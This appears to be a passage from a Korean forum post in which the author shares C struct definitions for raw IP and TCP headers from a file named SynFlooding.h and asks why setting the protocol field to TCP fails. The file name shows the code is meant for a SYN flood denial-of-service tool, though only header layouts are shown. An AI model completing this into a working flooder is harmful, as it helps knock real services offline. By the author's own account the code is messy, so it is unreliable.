이제 main 부분이고요, SynFlooding.h는

unsigned short Sort : 16;
unsigned short Flag : 3;
unsigned short Offset : 13;
unsigned char TTL : 8;
unsigned char Protocol : 8;
unsigned short Check : 16;
unsigned long start_ip : 32;
unsigned long destination_ip: 32;
};
struct TCP_HEAD{
unsigned short start_port;
unsigned short destination_port;
unsigned long Sequence;
unsigned long AckNum;
unsigned short Offset : 4;
unsigned short Reserved : 6;
unsigned char URG : 1;
unsigned char ACK : 1;
unsigned char PSH : 1;
unsigned char RST : 1;
unsigned char SYN : 1;
unsigned char FIN : 1;
unsigned short Window;
unsigned short check;
unsigned short emergency;
};
이거에요 - _-;;
테스트 한다고 코드가 좀 엉망이기는해요;;
그리고 test는 아무문제없는( 약간의 문제는 있지만 ) 그냥 패킷하나를 붙잡아서 바이트 단위로 적어놓은거에요;
IP->Protocol = 6; ( IP 6번이죠... 8번 EGP는 되고... 6은안되고... 이상함 ㅠ_ㅠ ) |
